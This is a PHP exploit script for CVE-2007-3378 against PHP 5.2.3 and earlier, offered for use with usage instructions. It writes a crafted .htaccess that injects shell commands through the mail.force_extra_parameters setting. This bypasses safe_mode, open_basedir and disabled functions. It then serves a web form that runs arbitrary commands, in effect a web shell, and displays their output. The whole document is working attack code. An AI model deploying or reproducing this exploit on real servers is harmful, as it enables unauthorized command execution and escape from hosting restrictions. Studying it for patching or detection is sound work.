PHP 5.2.3, htaccess safemode and open

<?php
# Coded by Maksymilian Arciemowicz
#
# CVE : CVE-2007-3378
# Risk : High
# Remote Exploit : No
# Local Exploit : Yes
# Affected Software : PHP 5.2.3 and prior
#
# This exploit bypass safe_mode , open_basedir and disbale functions .
# First it creates crafted .htaccess file and then all executed commands are written to result.txt file using mail(); function.
# Usage : 
# ?cxib=dhr - Delete Delete .htaccess and result.txt
# ?sh=[our_command] - Execute the command 
# 

#variables
$htaccess="./.htaccess";
#variables


if(@mail("", "", "")==FALSE){
	die("mail() function isn't active.");
}

if(!is_writable("./")){
	die("This directory isn't writable.");
}

if($_GET['cxib']=="dhr"){
	@unlink("./.htaccess");
	@unlink("./result.txt");
}

$usun="";
if(file_exists("./result.txt") AND file_exists("./.htaccess")){
	$usun .= "<p><a href=\"http://".$_SERVER["HTTP_HOST"].
$_SERVER["SCRIPT_NAME"]."?cxib=dhr\">Delete .htaccess and result.txt</a>";
}


$htmlstart="<HTML>
<HEAD>
<TITLE>CXSecurity Exploit - PHP 5.2.3 and 
prior</TITLE>
</HEAD>
<BODY>";

$formtxt="<center>Exploit for PHP 5.2.3 and 
prior</p>
".$usun."
<p>Form:<br>

<form action=\"http://".$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"]."\" 
name=\"Form\" method=\"POST\">
sh# <input type=\"text\" name=\"sh\" size=\"50\" value=\"\">
<input type=\"submit\" name=\"sent\" value=\"Exec\">
</form>
</CENTER></B>";

$htmlend="</BODY>
</HTML>";

$path=dirname($_SERVER["SCRIPT_NAME"]);

if(empty($sh)){
if(empty($_GET['sh'])){
if(empty($_POST['sh'])){

echo $htmlstart.$formtxt;

if(file_exists("./result.txt")){
	echo "<center><iframe src=\"http://".$_SERVER["HTTP_HOST"].
$path."/result.txt\" height=300 width=1000></center>";
}

echo $htmlend;

exit();
} else {
$sh=$_POST['sh'];
}
} else {
$sh=$_GET['sh'];
}
}

    if (!$handle = @fopen($htaccess, 'w')) {
         echo "Cannot create ".$htaccess."<B>check your rights to this directory.<P>. exit();";
         exit;
	}

	$syntax="php_value mail.force_extra_parameters '-t && ".$sh." > ".dirname(__FILE__)."/result.txt'";

    if (fwrite($handle, $syntax) === FALSE) {
       	echo "Cannot write to file (".$htaccess.")";
        exit;
    }

if(!empty($_POST['sent'])){
	@mail("", "", "Yeah");
	sleep(2);
	header("Location: http://".$_SERVER["HTTP_HOST"].
$_SERVER["REQUEST_URI"]."?cxib=".date('s'));
	exit();
}

?>